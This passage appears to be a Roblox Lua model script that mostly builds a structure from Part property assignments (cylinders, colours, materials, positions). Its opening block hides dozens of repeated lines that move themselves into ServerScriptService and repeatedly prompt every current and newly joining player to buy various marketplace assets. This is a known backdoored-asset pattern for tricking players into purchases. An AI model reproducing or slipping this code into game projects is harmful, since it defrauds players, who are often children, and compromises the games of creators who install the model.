- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056213658 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056229665 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056212354 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056210981 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056209461 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056207947 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056169430 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056206460 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056171231 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056217842 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056172762 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056175866 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056177509 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056186646 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056185041 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056183483 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056181953 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056180574 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056179120 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056188127 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056189702 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056191326 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056192877 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056194387 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056195837 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056204804 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056203184 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056201664 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056200205 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056198773 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056197320 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- end))
- Part146.Parent = mas
- Part146.CFrame = CFrame.new(-4.80555058, 33.2119141, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part146.Orientation = Vector3.new(0, 90, -90)
- Part146.Position = Vector3.new(-4.80555058, 33.2119141, 26.9299011)
- Part146.Rotation = Vector3.new(-90, 90, 0)
- Part146.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part146.Size = Vector3.new(43.7500267, 14, 14)
- Part146.Anchored = true
- Part146.BottomSurface = Enum.SurfaceType.Smooth
- Part146.BrickColor = BrickColor.new("Really black")
- Part146.Material = Enum.Material.DiamondPlate
- Part146.TopSurface = Enum.SurfaceType.Smooth
- Part146.brickColor = BrickColor.new("Really black")
- Part146.Shape = Enum.PartType.Cylinder
- Part147.Parent = mas
- Part147.CFrame = CFrame.new(0.0196142197, 90.8364029, 27.6298828, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part147.Orientation = Vector3.new(0, 0, -90)
- Part147.Position = Vector3.new(0.0196142197, 90.8364029, 27.6298828)
- Part147.Rotation = Vector3.new(0, 0, -90)
- Part147.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part147.Size = Vector3.new(0.0500000007, 3.8499999, 1)
- Part147.Anchored = true
- Part147.BottomSurface = Enum.SurfaceType.Smooth
- Part147.BrickColor = BrickColor.new("Institutional white")
- Part147.Material = Enum.Material.Neon
- Part147.TopSurface = Enum.SurfaceType.Smooth
- Part147.brickColor = BrickColor.new("Institutional white")
- Part148.Parent = mas
- Part148.CFrame = CFrame.new(-10.5056849, 82.9864273, 28.4298096, 0, -1, -0, -1, 0, 0, 0, 0, -1)
- Part148.Orientation = Vector3.new(0, -180, -90)
- Part148.Position = Vector3.new(-10.5056849, 82.9864273, 28.4298096)
- Part148.Rotation = Vector3.new(-180, 0, 90)
- Part148.Size = Vector3.new(2.00000048, 2.5999999, 0.699999988)
- Part148.Anchored = true
- Part148.BottomSurface = Enum.SurfaceType.Smooth
- Part148.Material = Enum.Material.Metal
- Part148.TopSurface = Enum.SurfaceType.Smooth
- Part149.Parent = mas
- Part149.CFrame = CFrame.new(-4.80555058, 35.9871788, 39.380188, 0, 0, 1, 1, 0, 0, 0, 1, 0)
- Part149.Orientation = Vector3.new(0, 90, 90)
- Part149.Position = Vector3.new(-4.80555058, 35.9871788, 39.380188)
- Part149.Rotation = Vector3.new(90, 90, 0)
- Part149.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part149.Size = Vector3.new(0.5, 10, 10)
- Part149.Anchored = true
- Part149.BottomSurface = Enum.SurfaceType.Smooth
- Part149.BrickColor = BrickColor.new("Institutional white")
- Part149.Material = Enum.Material.DiamondPlate
- Part149.TopSurface = Enum.SurfaceType.Smooth
- Part149.brickColor = BrickColor.new("Institutional white")
- Part149.Shape = Enum.PartType.Cylinder
- Part150.Parent = mas
- Part150.CFrame = CFrame.new(-4.80555058, 11.48703, 39.380127, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part150.Orientation = Vector3.new(0, 90, -90)
- Part150.Position = Vector3.new(-4.80555058, 11.48703, 39.380127)
- Part150.Rotation = Vector3.new(-90, 90, 0)
- Part150.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part150.Size = Vector3.new(2.09999752, 9, 9)
- Part150.Anchored = true
- Part150.BottomSurface = Enum.SurfaceType.Smooth
- Part150.BrickColor = BrickColor.new("Really black")
- Part150.Material = Enum.Material.DiamondPlate
- Part150.TopSurface = Enum.SurfaceType.Smooth
- Part150.brickColor = BrickColor.new("Really black")
- Part150.Shape = Enum.PartType.Cylinder
- Part151.Parent = mas
- Part151.CFrame = CFrame.new(-4.80555058, 36.7871971, 39.380127, 0, 0, 1, 1, 0, 0, 0, 1, 0)
- Part151.Orientation = Vector3.new(0, 90, 90)
- Part151.Position = Vector3.new(-4.80555058, 36.7871971, 39.380127)
- Part151.Rotation = Vector3.new(90, 90, 0)
- Part151.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part151.Size = Vector3.new(0.5, 10, 10)
- Part151.Anchored = true
- Part151.BottomSurface = Enum.SurfaceType.Smooth
- Part151.BrickColor = BrickColor.new("Institutional white")
- Part151.Material = Enum.Material.DiamondPlate
- Part151.TopSurface = Enum.SurfaceType.Smooth
- Part151.brickColor = BrickColor.new("Institutional white")
- Part151.Shape = Enum.PartType.Cylinder
- Part152.Parent = mas
- Part152.CFrame = CFrame.new(7.6695013, 11.1370277, 26.9052277, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part152.Orientation = Vector3.new(0, 0, -90)
- Part152.Position = Vector3.new(7.6695013, 11.1370277, 26.9052277)
- Part152.Rotation = Vector3.new(0, 0, -90)
- Part152.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part152.Size = Vector3.new(0.5, 10, 10)
- Part152.Anchored = true
- Part152.BottomSurface = Enum.SurfaceType.Smooth
- Part152.BrickColor = BrickColor.new("Institutional white")
- Part152.Material = Enum.Material.DiamondPlate
- Part152.TopSurface = Enum.SurfaceType.Smooth
- Part152.brickColor = BrickColor.new("Institutional white")
- Part152.Shape = Enum.PartType.Cylinder
- Part153.Parent = mas
- Part153.CFrame = CFrame.new(-17.2808914, 11.1370277, 26.9052277, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part153.Orientation = Vector3.new(0, 0, -90)
- Part153.Position = Vector3.new(-17.2808914, 11.1370277, 26.9052277)
- Part153.Rotation = Vector3.new(0, 0, -90)
- Part153.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part153.Size = Vector3.new(0.5, 10, 10)
- Part153.Anchored = true
- Part153.BottomSurface = Enum.SurfaceType.Smooth
- Part153.BrickColor = BrickColor.new("Institutional white")
- Part153.Material = Enum.Material.DiamondPlate
- Part153.TopSurface = Enum.SurfaceType.Smooth
- Part153.brickColor = BrickColor.new("Institutional white")
- Part153.Shape = Enum.PartType.Cylinder
- Part154.Parent = mas
- Part154.CFrame = CFrame.new(-4.80555058, 11.9370308, 14.4298401, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part154.Orientation = Vector3.new(0, 90, -90)
- Part154.Position = Vector3.new(-4.80555058, 11.9370308, 14.4298401)
- Part154.Rotation = Vector3.new(-90, 90, 0)
- Part154.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part154.Size = Vector3.new(0.5, 10, 10)
- Part154.Anchored = true
- Part154.BottomSurface = Enum.SurfaceType.Smooth
- Part154.BrickColor = BrickColor.new("Institutional white")
- Part154.Material = Enum.Material.DiamondPlate
- Part154.TopSurface = Enum.SurfaceType.Smooth
- Part154.brickColor = BrickColor.new("Institutional white")
- Part154.Shape = Enum.PartType.Cylinder
- Part155.Parent = mas
- Part155.CFrame = CFrame.new(-4.80555058, 11.48703, 14.4298401, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part155.Orientation = Vector3.new(0, 90, -90)
- Part155.Position = Vector3.new(-4.80555058, 11.48703, 14.4298401)
- Part155.Rotation = Vector3.new(-90, 90, 0)
- Part155.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part155.Size = Vector3.new(2.09999752, 9, 9)
- Part155.Anchored = true
- Part155.BottomSurface = Enum.SurfaceType.Smooth
- Part155.BrickColor = BrickColor.new("Really black")
- Part155.Material = Enum.Material.DiamondPlate
- Part155.TopSurface = Enum.SurfaceType.Smooth
- Part155.brickColor = BrickColor.new("Really black")
- Part155.Shape = Enum.PartType.Cylinder
- Part156.Parent = mas
- Part156.CFrame = CFrame.new(-4.80555058, 35.1871414, 14.4298401, 0, 0, 1, 1, 0, 0, 0, 1, 0)
- Part156.Orientation = Vector3.new(0, 90, 90)
- Part156.Position = Vector3.new(-4.80555058, 35.1871414, 14.4298401)
- Part156.Rotation = Vector3.new(90, 90, 0)
- Part156.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part156.Size = Vector3.new(0.5, 10, 10)
- Part156.Anchored = true
- Part156.BottomSurface = Enum.SurfaceType.Smooth
- Part156.BrickColor = BrickColor.new("Institutional white")
- Part156.Material = Enum.Material.DiamondPlate
- Part156.TopSurface = Enum.SurfaceType.Smooth
- Part156.brickColor = BrickColor.new("Institutional white")
- Part156.Shape = Enum.PartType.Cylinder
- Part157.Parent = mas
- Part157.CFrame = CFrame.new(-4.80555058, 35.9871788, 14.4298706, 0, 0, 1, 1, 0, 0, 0, 1, 0)
- Part157.Orientation = Vector3.new(0, 90, 90)
- Part157.Position = Vector3.new(-4.80555058, 35.9871788, 14.4298706)
- Part157.Rotation = Vector3.new(90, 90, 0)
- Part157.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part157.Size = Vector3.new(0.5, 10, 10)
- Part157.Anchored = true
- Part157.BottomSurface = Enum.SurfaceType.Smooth
- Part157.BrickColor = BrickColor.new("Institutional white")
- Part157.Material = Enum.Material.DiamondPlate
- Part157.TopSurface = Enum.SurfaceType.Smooth
- Part157.brickColor = BrickColor.new("Institutional white")
- Part157.Shape = Enum.PartType.Cylinder
- Part158.Parent = mas
- Part158.CFrame = CFrame.new(-4.80555058, 38.6370621, 14.4298401, 0, 0, 1, 1, 0, 0, 0, 1, 0)
- Part158.Orientation = Vector3.new(0, 90, 90)
- Part158.Position = Vector3.new(-4.80555058, 38.6370621, 14.4298401)
- Part158.Rotation = Vector3.new(90, 90, 0)
- Part158.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part158.Size = Vector3.new(2.30000019, 10, 10)
- Part158.Anchored = true
- Part158.BottomSurface = Enum.SurfaceType.Smooth
- Part158.BrickColor = BrickColor.new("Institutional white")
- Part158.Material = Enum.Material.DiamondPlate
- Part158.TopSurface = Enum.SurfaceType.Smooth
- Part158.brickColor = BrickColor.new("Institutional white")
- Part158.Shape = Enum.PartType.Cylinder
- Part159.Parent = mas
- Part159.CFrame = CFrame.new(-4.80555058, 36.4370728, 39.380127, 0, 0, 1, 1, 0, 0, 0, 1, 0)
- Part159.Orientation = Vector3.new(0, 90, 90)
- Part159.Position = Vector3.new(-4.80555058, 36.4370728, 39.380127)
- Part159.Rotation = Vector3.new(90, 90, 0)
- Part159.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part159.Size = Vector3.new(2.09999752, 9, 9)
- Part159.Anchored = true
- Part159.BottomSurface = Enum.SurfaceType.Smooth
- Part159.BrickColor = BrickColor.new("Really black")
- Part159.Material = Enum.Material.DiamondPlate
- Part159.TopSurface = Enum.SurfaceType.Smooth
- Part159.brickColor = BrickColor.new("Really black")
- Part159.Shape = Enum.PartType.Cylinder
- Part160.Parent = mas
- Part160.CFrame = CFrame.new(-4.80555058, 36.7871971, 14.4298401, 0, 0, 1, 1, 0, 0, 0, 1, 0)
- Part160.Orientation = Vector3.new(0, 90, 90)
- Part160.Position = Vector3.new(-4.80555058, 36.7871971, 14.4298401)
- Part160.Rotation = Vector3.new(90, 90, 0)
- Part160.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part160.Size = Vector3.new(0.5, 10, 10)
- Part160.Anchored = true
- Part160.BottomSurface = Enum.SurfaceType.Smooth
- Part160.BrickColor = BrickColor.new("Institutional white")
- Part160.Material = Enum.Material.DiamondPlate
- Part160.TopSurface = Enum.SurfaceType.Smooth
- Part160.brickColor = BrickColor.new("Institutional white")
- Part160.Shape = Enum.PartType.Cylinder
- Part161.Parent = mas
- Part161.CFrame = CFrame.new(-4.80555058, 11.1370277, 14.4298401, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part161.Orientation = Vector3.new(0, 90, -90)
- Part161.Position = Vector3.new(-4.80555058, 11.1370277, 14.4298401)
- Part161.Rotation = Vector3.new(-90, 90, 0)
- Part161.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part161.Size = Vector3.new(0.5, 10, 10)
- Part161.Anchored = true
- Part161.BottomSurface = Enum.SurfaceType.Smooth
- Part161.BrickColor = BrickColor.new("Institutional white")
- Part161.Material = Enum.Material.DiamondPlate
- Part161.TopSurface = Enum.SurfaceType.Smooth
- Part161.brickColor = BrickColor.new("Institutional white")
- Part161.Shape = Enum.PartType.Cylinder
- Part162.Parent = mas
- Part162.CFrame = CFrame.new(-17.2808914, 9.28705597, 26.9052277, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part162.Orientation = Vector3.new(0, 0, -90)
- Part162.Position = Vector3.new(-17.2808914, 9.28705597, 26.9052277)
- Part162.Rotation = Vector3.new(0, 0, -90)
- Part162.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part162.Size = Vector3.new(2.30000019, 10, 10)
- Part162.Anchored = true
- Part162.BottomSurface = Enum.SurfaceType.Smooth
- Part162.BrickColor = BrickColor.new("Institutional white")
- Part162.Material = Enum.Material.DiamondPlate
- Part162.TopSurface = Enum.SurfaceType.Smooth
- Part162.brickColor = BrickColor.new("Institutional white")
- Part162.Shape = Enum.PartType.Cylinder
- Part163.Parent = mas
- Part163.CFrame = CFrame.new(-4.80555058, 23.787056, 39.380127, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part163.Orientation = Vector3.new(0, 90, -90)
- Part163.Position = Vector3.new(-4.80555058, 23.787056, 39.380127)
- Part163.Rotation = Vector3.new(-90, 90, 0)
- Part163.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part163.Size = Vector3.new(22.300005, 10, 10)
- Part163.Anchored = true
- Part163.BottomSurface = Enum.SurfaceType.Smooth
- Part163.BrickColor = BrickColor.new("Institutional white")
- Part163.Material = Enum.Material.DiamondPlate
- Part163.TopSurface = Enum.SurfaceType.Smooth
- Part163.brickColor = BrickColor.new("Institutional white")
- Part163.Shape = Enum.PartType.Cylinder
- Part164.Parent = mas
- Part164.CFrame = CFrame.new(-4.80555058, 11.9370308, 39.380127, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part164.Orientation = Vector3.new(0, 90, -90)
- Part164.Position = Vector3.new(-4.80555058, 11.9370308, 39.380127)
- Part164.Rotation = Vector3.new(-90, 90, 0)
- Part164.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part164.Size = Vector3.new(0.5, 10, 10)
- Part164.Anchored = true
- Part164.BottomSurface = Enum.SurfaceType.Smooth
- Part164.BrickColor = BrickColor.new("Institutional white")
- Part164.Material = Enum.Material.DiamondPlate
- Part164.TopSurface = Enum.SurfaceType.Smooth
- Part164.brickColor = BrickColor.new("Institutional white")
- Part164.Shape = Enum.PartType.Cylinder
- Part165.Parent = mas
- Part165.CFrame = CFrame.new(-4.80555058, 11.1370277, 39.380127, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part165.Orientation = Vector3.new(0, 90, -90)
- Part165.Position = Vector3.new(-4.80555058, 11.1370277, 39.380127)
- Part165.Rotation = Vector3.new(-90, 90, 0)
- Part165.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part165.Size = Vector3.new(0.5, 10, 10)
- Part165.Anchored = true
- Part165.BottomSurface = Enum.SurfaceType.Smooth
- Part165.BrickColor = BrickColor.new("Institutional white")
- Part165.Material = Enum.Material.DiamondPlate
- Part165.TopSurface = Enum.SurfaceType.Smooth
- Part165.brickColor = BrickColor.new("Institutional white")
- Part165.Shape = Enum.PartType.Cylinder
- Part166.Parent = mas
- Part166.CFrame = CFrame.new(-4.80555058, 38.6370621, 39.380127, 0, 0, 1, 1, 0, 0, 0, 1, 0)
- Part166.Orientation = Vector3.new(0, 90, 90)
- Part166.Position = Vector3.new(-4.80555058, 38.6370621, 39.380127)
- Part166.Rotation = Vector3.new(90, 90, 0)
- Part166.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part166.Size = Vector3.new(2.30000019, 10, 10)
- Part166.Anchored = true
- Part166.BottomSurface = Enum.SurfaceType.Smooth
- Part166.BrickColor = BrickColor.new("Institutional white")
- Part166.Material = Enum.Material.DiamondPlate
- Part166.TopSurface = Enum.SurfaceType.Smooth
- Part166.brickColor = BrickColor.new("Institutional white")
- Part166.Shape = Enum.PartType.Cylinder
- Part167.Parent = mas
- Part167.CFrame = CFrame.new(-4.80555058, 35.1871414, 39.380127, 0, 0, 1, 1, 0, 0, 0, 1, 0)
- Part167.Orientation = Vector3.new(0, 90, 90)
- Part167.Position = Vector3.new(-4.80555058, 35.1871414, 39.380127)
- Part167.Rotation = Vector3.new(90, 90, 0)
- Part167.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part167.Size = Vector3.new(0.5, 10, 10)
- Part167.Anchored = true
- Part167.BottomSurface = Enum.SurfaceType.Smooth
- Part167.BrickColor = BrickColor.new("Institutional white")
- Part167.Material = Enum.Material.DiamondPlate
- Part167.TopSurface = Enum.SurfaceType.Smooth
- Part167.brickColor = BrickColor.new("Institutional white")
- Part167.Shape = Enum.PartType.Cylinder
- Part168.Parent = mas
- Part168.CFrame = CFrame.new(-4.80555058, 9.28705597, 39.380127, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part168.Orientation = Vector3.new(0, 90, -90)
- Part168.Position = Vector3.new(-4.80555058, 9.28705597, 39.380127)
- Part168.Rotation = Vector3.new(-90, 90, 0)
- Part168.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part168.Size = Vector3.new(2.30000019, 10, 10)
- Part168.Anchored = true
- Part168.BottomSurface = Enum.SurfaceType.Smooth
- Part168.BrickColor = BrickColor.new("Institutional white")
- Part168.Material = Enum.Material.DiamondPlate
- Part168.TopSurface = Enum.SurfaceType.Smooth
- Part168.brickColor = BrickColor.new("Institutional white")
- Part168.Shape = Enum.PartType.Cylinder
- Part169.Parent = mas
